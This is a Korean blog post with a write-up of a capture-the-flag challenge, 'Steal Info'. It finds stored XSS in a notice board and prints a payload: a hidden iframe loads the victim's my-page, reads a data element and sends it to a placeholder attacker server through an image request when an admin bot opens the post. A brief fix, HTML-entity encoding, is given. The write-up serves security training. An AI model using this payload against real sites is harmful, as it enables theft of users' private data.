Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- csrf
- cors
- sql injection
- php
- 게시판 만들기
- MySQL
- JWT
- blind sql injection
- Los
- lord of sqli
- lord of sql injection
- XSS
- cookie 탈취
- union sql injection
- 쿠키
- JS
- Cross Site Request Forgery
- css
- CTF
- Python
- 로그인
- Error based sql injection
- sql injection point
- 세션
- 웹개발
- Reflected Xss
- file upload
- 모의해킹
- 로그인페이지
- 과제
Archives
- Today
- Total
Almon Dev
ctf 풀이 (Steal Info) 본문
ctf 문제 풀이
Steal Info
풀이
1. XSS 포인트 찾기
공지 사항 작성에서 내용 부분에 특수문자를 처리하지 않고 출력하는 것을 확인했습니다.
alert(1) 스크립트를 삽입하고 실행되는 것을 확인하였습니다.
2. 스크립트 삽입하기
xss 취약점이 있는 곳과 가져올 데이터가 있는 곳이 다르기 때문에
공지 사항을 읽을 때 iframe 태그를 이용해서 다른 사이트를 불러와 데이터를 가져오겠습니다.
우선 중요정보가 있는 사이트와 구조가 같은 사이트에서 데이터가 있는 태그를 찾아야 합니다.
card-text라는 이름의 클래스를 가진 태그 중 두 번째 태그에 필요한 정보가 담겨있습니다.
삽입할 스크립트와 iframe태그를 만들고 삽입하겠습니다.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id='frame' style="display:none"></iframe>
<script>
console.log('test');
const frame = document.querySelector("#frame");
frame.addEventListener('load', () => {
const frameDom = frame.contentDocument;
const target = frameDom.querySelectorAll('.card-text')[1];
let data = target.innerHTML;
let i = new Image();
i.src = `http://공격자 서버?cookie=${data}`;
})
</script>
이제 해당 게시글에 접근하면 세션 정보를 이용해서 마이페이지에 접근한 뒤
원하는 데이터를 공격자 서버로 전송할 것입니다.
3. 스크립트 실행하기
공지 사항에 삽입한 iframe의 주소를 중요 정보가 있는 사이트 주소로 변경한 뒤
관리자봇이 접근하도록 만듭니다.
대응 방법
- 사용자의 입력을 저장할 때는 HTML Entity로 변경해야 합니다.
'모의해킹 > 모의해킹' 카테고리의 다른 글
모의해킹 공부 12주차 (CSRF) (0) | 2025.01.11 |
---|---|
ctf 풀이 (Steal Info 2) (0) | 2024.12.31 |
ctf 풀이 (Basic Script Prac) (0) | 2024.12.31 |
모의해킹 공부 11주차 (XSS 활용) (1) | 2024.12.27 |
ctf 풀이 (XSS Challenge) (0) | 2024.12.23 |